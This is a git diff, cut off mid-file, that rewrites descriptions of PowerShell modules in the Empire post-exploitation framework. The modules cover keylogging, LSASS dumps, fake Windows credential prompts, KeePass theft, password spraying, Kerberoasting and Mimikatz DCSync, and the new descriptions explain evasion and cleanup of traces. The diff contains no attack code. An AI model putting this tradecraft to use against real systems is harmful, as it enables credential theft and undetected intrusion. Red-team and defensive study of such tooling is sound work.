file information + including ownership, timestamps, and content summaries. software: '' tactics: [TA0007] techniques: [T1083] diff --git a/empire/server/modules/powershell/collection/get_sql_column_sample_data.yaml b/empire/server/modules/powershell/collection/get_sql_column_sample_data.yaml index c35d835a2..3b0cd487b 100644 --- a/empire/server/modules/powershell/collection/get_sql_column_sample_data.yaml +++ b/empire/server/modules/powershell/collection/get_sql_column_sample_data.yaml @@ -6,8 +6,14 @@ authors: - name: '' handle: '@0xbadjuju' link: '' -description: Returns column information from target SQL Servers. Supports search - by keywords, sampling data, and validating credit card numbers. +description: | + PowerShell module that leverages PowerUpSQL to search SQL Server databases for + columns matching specific keywords and extracts sample data from discovered columns. + Queries database schemas to identify columns containing sensitive information such + as passwords, credentials, or personal data, then samples actual data from those + columns. Supports filtering by database names, excluding default system databases, + and can validate credit card numbers using Luhn algorithm. Provides detailed output + including database, schema, table, column names, sample data, and row counts. software: '' tactics: [TA0009] techniques: [T1213] diff --git a/empire/server/modules/powershell/collection/get_sql_query.yaml b/empire/server/modules/powershell/collection/get_sql_query.yaml index 266f4e401..e4f59d770 100644 --- a/empire/server/modules/powershell/collection/get_sql_query.yaml +++ b/empire/server/modules/powershell/collection/get_sql_query.yaml @@ -6,7 +6,12 @@ authors: - name: '' handle: '@0xbadjuju' link: '' -description: Executes a query on target SQL servers. +description: | + PowerShell module that leverages PowerUpSQL to execute custom SQL queries against + target SQL Server instances. Provides flexible authentication options including + Windows credentials, SQL logins, and Dedicated Administrator Connection (DAC) + support. Establishes database connections using .NET SqlClient and executes + user-defined queries with configurable timeouts and error handling. software: '' tactics: [TA0009] techniques: [T1213] diff --git a/empire/server/modules/powershell/collection/inveigh.yaml b/empire/server/modules/powershell/collection/inveigh.yaml index 548badefa..c25d6b862 100644 --- a/empire/server/modules/powershell/collection/inveigh.yaml +++ b/empire/server/modules/powershell/collection/inveigh.yaml @@ -3,10 +3,13 @@ authors: - name: Kevin Robertson handle: '' link: '' -description: Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle - tool. Note that this module exposes only a subset of Inveigh's parameters. Inveigh - can be used through Empire's scriptimport and scriptcmd if additional parameters - are needed. +description: | + PowerShell module that leverages Inveigh to perform LLMNR, mDNS, and NBNS spoofing + attacks for credential harvesting and man-in-the-middle operations. Captures NTLM + challenge/response hashes through SMB, HTTP, and proxy authentication mechanisms. + Supports selective spoofing with host/IP filtering, learning mode to avoid valid + hosts, and configurable authentication types. Provides real-time console output + and can serve custom HTTP responses or proxy traffic. software: '' tactics: [TA0006, TA0009] techniques: [T1040, T1557.001, T1557.003, T1119] @@ -24,8 +27,8 @@ options: required: true value: '' - name: ConsoleOutput - description: '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. - Medium and Low can be used to reduce output.' + description: 'Enable/Disable real time console output. Options: Y (Full), Medium, + Low (reduced output).' required: false value: 'Y' strict: true @@ -34,13 +37,13 @@ options: - Medium - Y - name: ConsoleStatus - description: Interval in minutes for displaying all unique captured hashes and - credentials. This will display a clean list of captures in Empire. + description: 'Interval in minutes for displaying unique captured hashes and credentials + in Empire console.' required: false value: '1' - name: ConsoleUnique - description: '(Y/N) Default = Y: Enable/Disable displaying challenge/response - hashes for only unique IP, domain/hostname, and username combinations.' + description: 'Display only unique challenge/response hashes (unique IP, domain/hostname, + username combinations).' required: false value: 'Y' strict: true @@ -49,9 +52,8 @@ options: - Medium - Y - name: ElevatedPrivilege - description: '(Auto/Y/N) Default = Auto: Set the privilege mode. Auto will determine - if Inveigh is running with elevated privilege. If so, options that require - elevated privilege can be used.' + description: 'Privilege mode. Auto detects elevated privileges, Y forces elevated + mode, N uses standard mode.' required: false value: 'Auto' strict: true @@ -68,8 +70,8 @@ options: - Y - N - name: HTTPAuth - description: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type. - This setting does not apply to wpad.dat requests. + description: 'HTTP listener authentication type. Options: Anonymous, Basic, NTLM, + NTLMNoESS. Does not apply to wpad.dat requests.' required: false value: '' strict: false @@ -79,20 +81,17 @@ options: - NTLM - NTLMNoESS - name: HTTPContentType - description: Content type for HTTP/Proxy responses. Does not apply to EXEs and - wpad.dat. Set to "application/hta" for HTA files or when using HTA code with - HTTPResponse. + description: 'Content type for HTTP/Proxy responses. Use "application/hta" for + HTA files. Does not apply to EXEs and wpad.dat.' required: false value: '' - name: HTTPResponse - description: Content to serve as the default HTTP/Proxy response. This response - will not be used for wpad.dat requests. Use PowerShell escape characters and - newlines where necessary. This paramater will be wrapped in double quotes by - this module. + description: 'Default HTTP/Proxy response content. Use PowerShell escape characters + and newlines. Not used for wpad.dat requests.' required: false value: '' - name: Inspect - description: Inspect LLMNR, mDNS, and NBNS traffic only. + description: 'Inspect LLMNR, mDNS, and NBNS traffic only (no spoofing).' required: false value: 'False' strict: true @@ -100,9 +99,8 @@ options: - True - False - name: IP - description: Local IP address for listening and packet sniffing. This IP address - will also be used for LLMNR/mDNS/NBNS spoofing if the SpooferIP parameter is - not set. + description: 'Local IP address for listening and packet sniffing. Used for spoofing + if SpooferIP is not set.' required: false value: '' - name: LLMNR @@ -122,8 +120,7 @@ options: - Y - N - name: mDNSTypes - description: '(QU,QM) Default = QU: Comma separated list of mDNS types to spoof. - Note that QM will send the response to 224.0.0.251.' + description: 'mDNS types to spoof. Options: QU (unicast), QM (multicast to 224.0.0.251).' required: false value: 'QU' strict: true @@ -139,7 +136,7 @@ options: - Y - N - name: NBNSTypes - description: 'Default = 00,20: Comma separated list of NBNS types to spoof.' + description: 'NBNS types to spoof. Default: 00,20 (Workstation/Server services).' required: false value: '00,20' - name: Proxy @@ -147,7 +144,7 @@ options: required: false value: '' - name: ProxyPort - description: "Default = 8492: TCP port for the Inveigh's proxy listener." + description: 'TCP port for Inveigh proxy listener. Default: 8492.' required: false value: '8492' - name: RunCount @@ -167,28 +164,30 @@ options: - Y - N - name: SpooferIP - description: Response IP address for spoofing. This parameter is only necessary - when redirecting victims to a system other than the Inveigh host. + description: 'Response IP address for spoofing. Required when redirecting victims + to a system other than the Inveigh host.' required: false value: '' - name: SpooferHostsIgnore - description: Comma separated list of requested hostnames to ignore when spoofing. + description: 'Comma-separated list of hostnames to ignore when spoofing.' required: false value: '' - name: SpooferHostsReply - description: Comma separated list of requested hostnames to respond to when spoofing. + description: 'Comma-separated list of hostnames to respond to when spoofing.' required: false value: '' - name: SpooferIPsIgnore - description: Comma separated list of source IP addresses to ignore when spoofing. + description: 'Comma-separated list of source IP addresses to ignore when spoofing.' required: false value: '' - name: SpooferIPsReply - description: Comma separated list of source IP addresses to respond to when spoofing. + description: 'Comma-separated list of source IP addresses to respond to when + spoofing.' required: false value: '' - name: SpooferLearning - description: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. + description: 'Enable/Disable LLMNR/NBNS valid host learning to avoid spoofing + legitimate hosts.' required: false value: 'N' strict: true @@ -196,13 +195,13 @@ options: - Y - N - name: SpooferLearningDelay - description: Time in minutes that Inveigh will delay spoofing while valid hosts - are being blacklisted through SpooferLearning. + description: 'Delay in minutes before spoofing while valid hosts are being blacklisted + through SpooferLearning.' required: false value: '' - name: SpooferRepeat - description: '(Y/N) Default = Y: Enable/Disable repeated LLMNR/NBNS spoofs to - a victim system after one user challenge/response has been captured.' + description: 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after + capturing one challenge/response.' required: false value: 'Y' strict: true @@ -210,8 +209,8 @@ options: - Y - N - name: WPADAuth - description: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type - for wpad.dat requests. + description: 'HTTP listener authentication type for wpad.dat requests. Options: + Anonymous, Basic, NTLM, NTLMNoESS.' required: false value: '' strict: false diff --git a/empire/server/modules/powershell/collection/keylogger.yaml b/empire/server/modules/powershell/collection/keylogger.yaml index 18a6ee2d5..42da67170 100644 --- a/empire/server/modules/powershell/collection/keylogger.yaml +++ b/empire/server/modules/powershell/collection/keylogger.yaml @@ -9,8 +9,13 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Logs keys pressed, time and the active window (when changed) to the - keystrokes.txt file. This file is located in the agents downloads directory Empire/downloads//keystrokes.txt. +description: | + Captures and logs keystrokes, active window titles, and timestamps + on the target system. The keystrokes are stored in a file named `keystrokes.txt` + within the path `Empire/downloads//`. This module can be used to collect + sensitive input such as passwords, messages, or command-line usage over time. It + supports optional sleep delay between key reads to reduce CPU usage. This technique is often used for credential access, user monitoring, + or activity logging during post-exploitation. software: '' tactics: [TA0006, TA0009] techniques: [T1056.001] diff --git a/empire/server/modules/powershell/collection/minidump.yaml b/empire/server/modules/powershell/collection/minidump.yaml index 851ac151c..9b72c7d14 100644 --- a/empire/server/modules/powershell/collection/minidump.yaml +++ b/empire/server/modules/powershell/collection/minidump.yaml @@ -3,8 +3,14 @@ authors: - name: Matt Graeber handle: '@mattifestation' link: https://twitter.com/mattifestation -description: "Generates a full-memory dump of a process. Note: To dump another user's - process, you must be running from an elevated prompt (e.g to dump lsass)" +description: | + PowerShell module that leverages PowerSploit to generate full-memory minidumps of + target processes using Windows' native MiniDumpWriteDump API. Creates comprehensive + process memory dumps containing all process memory, similar to procdump.exe with + the '-ma' switch. Supports dumping by process name or process ID, with configurable + output paths. Essential for memory forensics, credential extraction from LSASS, + and process analysis. Requires elevated privileges for dumping system processes + or processes from other users. software: '' tactics: [TA0006, TA0007] techniques: [T1003, T1555.03] diff --git a/empire/server/modules/powershell/collection/ninjacopy.yaml b/empire/server/modules/powershell/collection/ninjacopy.yaml index 37cebb1f0..4fbd86ada 100644 --- a/empire/server/modules/powershell/collection/ninjacopy.yaml +++ b/empire/server/modules/powershell/collection/ninjacopy.yaml @@ -3,8 +3,15 @@ authors: - name: Joseph Bialek handle: '@JosephBialek' link: https://twitter.com/JosephBialek -description: Copies a file from an NTFS partitioned volume by reading the raw volume - and parsing the NTFS structures. +description: | + Copies files from NTFS volumes by reading raw volume data and parsing NTFS structures directly, + bypassing file system access controls. This technique circumvents DACLs (Discretionary Access + Control Lists), SACLs (System Access Control Lists), and file handle locks that would normally + prevent access. The module uses reflective DLL injection to load a custom NTFS parser library + that reads files at the filesystem level, allowing access to system files that are typically + locked or protected. Common use cases include extracting the NTDS.dit Active Directory database, + registry hives, or other sensitive files that are actively in use by the system. Requires + administrative privileges to access raw volume data. software: '' tactics: [TA0006, TA0005] techniques: [T1003.003, T1005, T1006] diff --git a/empire/server/modules/powershell/collection/packet_capture.yaml b/empire/server/modules/powershell/collection/packet_capture.yaml index d33eb83ff..a9d251f59 100644 --- a/empire/server/modules/powershell/collection/packet_capture.yaml +++ b/empire/server/modules/powershell/collection/packet_capture.yaml @@ -6,7 +6,17 @@ authors: - name: Matt Graeber handle: '@mattifestation' link: https://twitter.com/mattifestation -description: Starts a packet capture on a host using netsh. +description: | + Initiates network packet capture using Windows' built-in netsh trace functionality. This module + leverages the Windows Network Diagnostics Framework to capture network traffic at the system level, + generating Event Trace Log (ETL) files that can be analyzed with tools like Network Monitor or + converted to PCAP format. The capture operates at the network interface level, capturing all + packets traversing the system including TCP, UDP, and other protocols. Supports configurable + file size limits, persistent captures that survive system reboots, and can be stopped remotely. + Useful for network reconnaissance, traffic analysis, and monitoring network communications + between systems. The ETL format provides detailed packet information including timestamps, + protocol headers, and payload data. Requires administrative privileges to access network + diagnostic capabilities. software: '' tactics: [TA0009] techniques: [T1040] diff --git a/empire/server/modules/powershell/collection/prompt.yaml b/empire/server/modules/powershell/collection/prompt.yaml index 12810a8a2..2b1f210b6 100644 --- a/empire/server/modules/powershell/collection/prompt.yaml +++ b/empire/server/modules/powershell/collection/prompt.yaml @@ -10,7 +10,16 @@ authors: handle: '' link: '' description: | - Prompts the current user to enter their credentials in a forms box and returns the results. + Performs credential harvesting through social engineering by displaying a fake system error + message followed by a Windows credential prompt. The module first shows a customizable + message box with configurable icon types (Critical, Question, Exclamation, Information) + to create urgency or concern, then presents a legitimate Windows credential dialog + requesting username and password. The tool validates entered credentials against the + local machine or domain controller and will repeatedly prompt until valid credentials + are provided or the user cancels. This technique exploits user trust in system dialogs + and urgency created by error messages to harvest credentials without sophisticated + technical attacks. The module supports custom error messages, titles, and icon types + to match different pretext scenarios. software: tactics: [TA0006] techniques: [T1056.002] diff --git a/empire/server/modules/powershell/collection/screenshot.yaml b/empire/server/modules/powershell/collection/screenshot.yaml index 1cdc1bbf4..0a5ca5024 100644 --- a/empire/server/modules/powershell/collection/screenshot.yaml +++ b/empire/server/modules/powershell/collection/screenshot.yaml @@ -6,8 +6,9 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Takes a screenshot of the current desktop and returns the output as - a .PNG. +description: | + Captures a screenshot of the target user's desktop. Useful for spying + on user activity or capturing sensitive information displayed on the screen. software: '' tactics: [TA0009] techniques: [T1113] diff --git a/empire/server/modules/powershell/collection/toasted.yaml b/empire/server/modules/powershell/collection/toasted.yaml index 0f7b1613e..0756dd4d9 100644 --- a/empire/server/modules/powershell/collection/toasted.yaml +++ b/empire/server/modules/powershell/collection/toasted.yaml @@ -6,9 +6,14 @@ authors: - name: Empire implementation by @Quickbreach handle: '' link: '' -description: Spawns a native toast notification that, if clicked, prompts the current - user to enter their credentials into a native looking prompt. Notification stays - on screen for ~25 seconds. Requires Windows >= 8.1/2012 +description: | + Displays a native-looking Windows toast notification that, when clicked by the user, + opens a credential prompt impersonating a system or application message. + The goal is to phish user credentials by mimicking legitimate Windows dialogs, + such as those related to system updates or restart prompts. + Captured credentials can be optionally verified, and the prompt may reappear until valid input is provided. + This module targets Windows systems (version 8.1 / Server 2012 or newer) and is useful in + social engineering or post-exploitation scenarios. software: '' tactics: [TA0006, TA0009] techniques: [T1056.002] diff --git a/empire/server/modules/powershell/collection/vaults/add_keepass_config_trigger.yaml b/empire/server/modules/powershell/collection/vaults/add_keepass_config_trigger.yaml index 4c05f623a..027c4b3be 100644 --- a/empire/server/modules/powershell/collection/vaults/add_keepass_config_trigger.yaml +++ b/empire/server/modules/powershell/collection/vaults/add_keepass_config_trigger.yaml @@ -6,8 +6,25 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: This module adds a KeePass exfiltration trigger to all KeePass configs - found by Find-KeePassConfig. +description: | + A PowerShell module that installs persistent exfiltration triggers + into KeePass configuration files to enable automatic credential + harvesting. This module is part of the KeeThief toolkit designed + for long-term access to password manager contents. + + The module first terminates any running KeePass processes to ensure + configuration files can be modified, then adds custom triggers that + automatically export database contents or copy data when specific + conditions are met. These triggers can be configured to export + entire databases or capture data that users copy from KeePass, + providing persistent access to stored credentials. + + This persistence mechanism is particularly effective because it + leverages KeePass's legitimate trigger functionality to perform + malicious exfiltration. The triggers can be configured to execute + when databases are opened, when data is copied, or based on other + user actions, ensuring continuous access to sensitive information + without requiring ongoing operator interaction. software: '' tactics: [TA0003, TA0009] techniques: [T1119, T1546] diff --git a/empire/server/modules/powershell/collection/vaults/find_keepass_config.yaml b/empire/server/modules/powershell/collection/vaults/find_keepass_config.yaml index cd1735d09..5508b548a 100644 --- a/empire/server/modules/powershell/collection/vaults/find_keepass_config.yaml +++ b/empire/server/modules/powershell/collection/vaults/find_keepass_config.yaml @@ -6,8 +6,26 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: This module finds and parses any KeePass.config.xml (2.X) and KeePass.ini - (1.X) files. +description: | + A PowerShell reconnaissance module that discovers and analyzes + KeePass password manager configuration files across the target + system. This module is part of the KeeThief toolkit designed + for compromising KeePass installations and extracting stored + credentials. + + The module searches for and parses both KeePass 2.X configuration + files (KeePass.config.xml) and KeePass 1.X configuration files + (KeePass.ini) to identify installed instances and their current + configuration state. This reconnaissance capability is essential + for understanding the target environment and identifying potential + attack vectors for credential harvesting. + + The discovered configuration files provide critical intelligence + about KeePass installations, including trigger configurations, + plugin settings, and other customization that may affect the + attack approach. This information helps operators determine + the most effective method for compromising the password manager + and extracting stored credentials from the target system. software: '' tactics: [TA0007, TA0009] techniques: [T1119, T1083] diff --git a/empire/server/modules/powershell/collection/vaults/get_keepass_config_trigger.yaml b/empire/server/modules/powershell/collection/vaults/get_keepass_config_trigger.yaml index a266b2f6e..fcb898614 100644 --- a/empire/server/modules/powershell/collection/vaults/get_keepass_config_trigger.yaml +++ b/empire/server/modules/powershell/collection/vaults/get_keepass_config_trigger.yaml @@ -6,8 +6,23 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: This module extracts out the trigger specifications from a KeePass 2.X - configuration XML file. +description: | + A PowerShell module that extracts and analyzes trigger specifications from + KeePass 2.X configuration XML files. This module is part of the KeeThief + toolkit designed to compromise KeePass password manager installations + and extract stored credentials. + + The module parses KeePass configuration files to identify custom triggers + that may have been previously installed for credential exfiltration. + These triggers can be configured to automatically export database contents + or copy data when specific conditions are met, providing persistent + access to stored passwords and sensitive information. + + This reconnaissance capability is essential for understanding the current + state of KeePass installations and identifying existing compromise + mechanisms. The extracted trigger information helps operators assess + the effectiveness of previous attacks and determine if additional + persistence mechanisms are needed for ongoing credential harvesting. software: '' tactics: [] techniques: diff --git a/empire/server/modules/powershell/collection/vaults/keethief.yaml b/empire/server/modules/powershell/collection/vaults/keethief.yaml index 95e17d8b7..a72ec47bc 100644 --- a/empire/server/modules/powershell/collection/vaults/keethief.yaml +++ b/empire/server/modules/powershell/collection/vaults/keethief.yaml @@ -6,8 +6,24 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: This module retrieves database mastey key information for unlocked KeePass - database. +description: | + A sophisticated PowerShell module that extracts master key information + from unlocked KeePass password databases in memory. This module leverages + the KeeThief toolkit to perform in-memory credential harvesting from + active KeePass processes without requiring the master password. + + The module works by analyzing the memory space of running KeePass + processes to locate and extract the master key components used to + decrypt the password database. This technique bypasses the need for + the master password by targeting the decrypted key material that + remains in memory while KeePass is running. + + This attack vector is particularly effective because it targets + users who have already unlocked their KeePass database, allowing + for immediate access to all stored credentials without additional + authentication. The extracted master key information can be used + to decrypt the entire password database and access sensitive + credentials, passwords, and other stored secrets. software: '' tactics: [TA0006, TA0007] techniques: [T1055, T1555.005, T1057] diff --git a/empire/server/modules/powershell/collection/vaults/remove_keepass_config_trigger.yaml b/empire/server/modules/powershell/collection/vaults/remove_keepass_config_trigger.yaml index 9b320b43d..21cd91433 100644 --- a/empire/server/modules/powershell/collection/vaults/remove_keepass_config_trigger.yaml +++ b/empire/server/modules/powershell/collection/vaults/remove_keepass_config_trigger.yaml @@ -6,7 +6,25 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: This module removes all triggers from all KeePass configs found by Find-KeePassConfig. +description: | + A PowerShell module that removes all custom triggers from KeePass + configuration files to clean up evidence of compromise and prevent + detection. This module is part of the KeeThief toolkit designed + for stealthy credential harvesting operations. + + The module first terminates any running KeePass processes to ensure + configuration files are not locked, then systematically removes + all custom triggers that may have been previously installed for + credential exfiltration. This cleanup process helps operators + maintain operational security by removing traces of the attack + and preventing security tools from detecting the compromise. + + This defensive capability is essential for maintaining stealth + during credential harvesting operations and ensuring that + security monitoring systems do not detect the presence of + malicious triggers. The cleanup process helps operators + maintain long-term access while minimizing the risk of + discovery through configuration analysis. software: '' tactics: [TA0005] techniques: [T1070.009] diff --git a/empire/server/modules/powershell/credentials/DomainPasswordSpray.yaml b/empire/server/modules/powershell/credentials/DomainPasswordSpray.yaml index f2741dd03..94f12b891 100644 --- a/empire/server/modules/powershell/credentials/DomainPasswordSpray.yaml +++ b/empire/server/modules/powershell/credentials/DomainPasswordSpray.yaml @@ -3,8 +3,12 @@ authors: - name: '' handle: '@dafthack' link: '' -description: DomainPasswordSpray is a tool written in PowerShell to perform a password - spray attack against users of a domain. +description: | + Performs a domain password spray attack against user accounts with + lockout safeguards, automatically throttling attempts to avoid triggering account + lockouts. Supports single passwords or custom lists, and can generate target + user lists from Active Directory or accept predefined inputs. Outputs results + to a file for tracking. software: '' tactics: [TA0006] techniques: [T1110.004] diff --git a/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml b/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml index ae50e0530..5f1de5f43 100644 --- a/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml +++ b/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml @@ -3,8 +3,14 @@ authors: - name: '' handle: '@sadshade' link: '' -description: A PowerShell script for getting and decrypting accounts directly from - the Veeam's database. +description: | + Extracts and decrypts credentials directly from Veeam Backup and Replication + databases to obtain stored authentication information. Connects to the Veeam + SQL database using integrated authentication and queries the Credentials table + for stored user accounts and passwords. Decrypts the stored credentials using + Windows Data Protection API (DPAPI) to reveal plaintext passwords. Veeam often + stores administrative credentials for backup operations, which can be valuable + for privilege escalation and lateral movement in enterprise environments. software: tactics: [TA0009] techniques: [T1213] @@ -16,9 +22,7 @@ language: powershell min_language_version: '2' comments: - https://github.com/sadshade/veeam-creds -# Any options needed by the module, settable during runtime options: - # The 'Agent' option is the only one that MUST be in a module - name: Agent description: Agent to run module on. required: true diff --git a/empire/server/modules/powershell/credentials/credential_injection.yaml b/empire/server/modules/powershell/credentials/credential_injection.yaml index 5269e3280..fdc5268f3 100644 --- a/empire/server/modules/powershell/credentials/credential_injection.yaml +++ b/empire/server/modules/powershell/credentials/credential_injection.yaml @@ -3,9 +3,13 @@ authors: - name: Joseph Bialek handle: '@JosephBialek' link: https://twitter.com/JosephBialek -description: Runs PowerSploit's Invoke-CredentialInjection to create logons with - clear-text credentials without triggering a suspicious Event ID 4648 (Explicit - Credential Logon). +description: | + Runs PowerSploit's Invoke-CredentialInjection to create logons with + clear-text credentials while evading Event ID 4648 (Explicit Credential Logon). + Performs credential injection via Windows logon processes by injecting credentials + into WinLogon.exe (both new and existing processes). Supports multiple logon + types such as Interactive and NetworkCleartext, and bypasses default credential + logging through Msv1_0 or Kerberos package selection. software: S0194 tactics: [TA0004, TA0005] techniques: [T1078] diff --git a/empire/server/modules/powershell/credentials/enum_cred_store.yaml b/empire/server/modules/powershell/credentials/enum_cred_store.yaml index 32f5b1801..1ef4faf5b 100644 --- a/empire/server/modules/powershell/credentials/enum_cred_store.yaml +++ b/empire/server/modules/powershell/credentials/enum_cred_store.yaml @@ -3,8 +3,10 @@ authors: - name: BeetleChunks handle: '' link: '' -description: Dumps plaintext credentials from the Windows Credential Manager for - the current interactive user. +description: | + Extracts plaintext credentials from the current user's Windows Credential + Manager vault, including saved logins for websites, RDP sessions, and other applications. + Operates without admin privileges but requires interactive user context. software: '' tactics: [TA0006] techniques: [T1555.004, T1003] diff --git a/empire/server/modules/powershell/credentials/get_lapspasswords.yaml b/empire/server/modules/powershell/credentials/get_lapspasswords.yaml index eeaeb3aff..472d919d7 100644 --- a/empire/server/modules/powershell/credentials/get_lapspasswords.yaml +++ b/empire/server/modules/powershell/credentials/get_lapspasswords.yaml @@ -6,7 +6,11 @@ authors: - name: n0decaf handle: '' link: '' -description: Dumps user readable LAPS passwords using kfosaaen's Get-LAPSPasswords. +description: | + Retrieves readable LAPS (Local Administrator Password Solution) passwords + from Active Directory for domain-joined systems using kfosaaen's Get-LAPSPasswords. + Supports multiple output formats (JSON, CSV, etc.) for integration with other + tools. Requires domain user privileges but avoids admin rights. software: '' tactics: [TA0006] techniques: [T1003.006] diff --git a/empire/server/modules/powershell/credentials/invoke_internal_monologue.yaml b/empire/server/modules/powershell/credentials/invoke_internal_monologue.yaml index 8c9522043..ead4bd81c 100644 --- a/empire/server/modules/powershell/credentials/invoke_internal_monologue.yaml +++ b/empire/server/modules/powershell/credentials/invoke_internal_monologue.yaml @@ -7,12 +7,12 @@ authors: handle: '@4lex' link: '' description: | - Uses the Internal Monologue attack to force easily-decryptable Net-NTLMv1 - responses over localhost and without directly touching LSASS. The underlying powershell - function accepts switches that [DISABLE] default behaviours. The default settings will - downgrade NetNTLM responses to v1, impersonate all users, use challenge 1122334455667788 - and restore the registry to its original state. Set the options in this module to True - in order to DISABLE the behaviours + Uses the Internal Monologue attack to force Net-NTLMv1 authentication + responses over localhost via registry manipulation, without directly interacting + with LSASS. Generates easily-decryptable Net-NTLMv1 hashes using a fixed challenge + (1122334455667788). By default, downgrades authentication to v1, impersonates + all users, and restores the registry after execution; options may be toggled + to disable these default behaviors. software: '' tactics: [TA0006] techniques: [T1003.001] diff --git a/empire/server/modules/powershell/credentials/invoke_kerberoast.yaml b/empire/server/modules/powershell/credentials/invoke_kerberoast.yaml index 6edb669f9..bfc1de92f 100644 --- a/empire/server/modules/powershell/credentials/invoke_kerberoast.yaml +++ b/empire/server/modules/powershell/credentials/invoke_kerberoast.yaml @@ -6,8 +6,11 @@ authors: - name: '' handle: '@machosec' link: '' -description: Requests kerberos tickets for all users with a non-null service principal - name (SPN) and extracts them into a format ready for John or Hashcat. +description: | + Requests Kerberos service tickets for accounts with SPNs and extracts + them into John/Hashcat-crackable formats, optionally targeting privileged accounts + (AdminSDHolder) or custom LDAP queries. Operates with standard domain user + privileges and outputs in multiple formats (JSON, CSV, etc.). software: '' tactics: [TA0006] techniques: [T1558.003] diff --git a/empire/server/modules/powershell/credentials/invoke_ntlmextract.yaml b/empire/server/modules/powershell/credentials/invoke_ntlmextract.yaml index 49340b637..a7fe11d74 100644 --- a/empire/server/modules/powershell/credentials/invoke_ntlmextract.yaml +++ b/empire/server/modules/powershell/credentials/invoke_ntlmextract.yaml @@ -3,7 +3,10 @@ authors: - name: Tobias Heilig handle: '' link: '' -description: Extract local NTLM password hashes from the registry. +description: | + Extracts local NTLM password hashes from the SAM registry hive without + directly accessing LSASS, requiring administrative privileges. Retrieves both + user and machine account hashes stored in HKLM\\SAM for offline cracking. software: '' tactics: [TA0006] techniques: [T1003.002, T1552.002] diff --git a/empire/server/modules/powershell/credentials/mimikatz/cache.yaml b/empire/server/modules/powershell/credentials/mimikatz/cache.yaml index c24f6a40f..90df09209 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/cache.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/cache.yaml @@ -1,4 +1,4 @@ -name: Invoke-Mimikatz LSA Dump +name: Invoke-Mimikatz Cache authors: - name: Joseph Bialek handle: '@JosephBialek' @@ -6,7 +6,12 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to extract MSCache(v2) hashes. +description: | + Extracts MSCache (v1 and v2) hashes from Local Security Authority (LSA) memory + using Mimikatz's lsadump::cache functionality. MSCache stores cached domain + credentials for offline authentication when domain controllers are unavailable. + Dumps cached domain user credentials including usernames and password hashes + that can be used for offline password cracking or pass-the-hash attacks. software: S0002 tactics: [TA0004, TA0006] techniques: [T1003.004, T1552.002, T1134.001] diff --git a/empire/server/modules/powershell/credentials/mimikatz/certs.yaml b/empire/server/modules/powershell/credentials/mimikatz/certs.yaml index 5ff6260cb..6980b0bbd 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/certs.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/certs.yaml @@ -6,8 +6,12 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to extract all certificates - to the local directory. +description: | + Extracts all certificates from the local machine certificate store using Mimikatz's + crypto::certificates functionality. Dumps certificates from the Local Machine + store including root certificates, intermediate certificates, and user certificates. + Extracts both public and private keys that can be used for certificate-based + authentication, code signing, or other cryptographic operations. software: S0002 tactics: [TA0006] techniques: [T1003.004, T1552.002, T1555.004, T1134.001] diff --git a/empire/server/modules/powershell/credentials/mimikatz/command.yaml b/empire/server/modules/powershell/credentials/mimikatz/command.yaml index 3c4d6430e..2e03c5735 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/command.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/command.yaml @@ -6,8 +6,14 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: "Runs PowerSploit's Invoke-Mimikatz function with a custom command. - Note: Not all functions require admin, but many do." +description: | + Executes PowerSploit's `Invoke-Mimikatz` function with a user-defined + command to extract credentials, manipulate tokens, or perform other post-exploitation + activities on Windows systems. While some functions (e.g., token listing) work + without administrative privileges, most operations (like credential dumping) + require elevated rights. + + Note: Not all functions require admin, but many do. software: S0002 tactics: [TA0006, TA0009] techniques: [T1003.001, T1003.002, T1003.003, T1003.004, T1098, T1207, T1547.005, diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml b/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml index e8abfecb8..72e3fcb43 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml @@ -9,9 +9,13 @@ authors: - name: Joseph Bialek handle: '@JosephBialek' link: https://twitter.com/JosephBialek -description: Runs PowerSploit's Invoke-Mimikatz function to extract a given account - password through Mimikatz's lsadump::dcsync module. This doesn't need code execution - on a given DC, but needs to be run from a user context with DA equivalent privileges. +description: | + Performs DCSync attack using Mimikatz's lsadump::dcsync functionality to extract + account passwords from Active Directory without requiring code execution on a + domain controller. Requires Domain Administrator or equivalent privileges and + leverages the Directory Replication Service (DRS) protocol to request password + data from domain controllers. Can extract password hashes for specific users + or all domain accounts, including the krbtgt account. software: S0002 tactics: [TA0006] techniques: [T1003.006, T1550.003, T1558.001, T1558.002] diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml index 0cf817f0e..dccdf0ca8 100644 --- 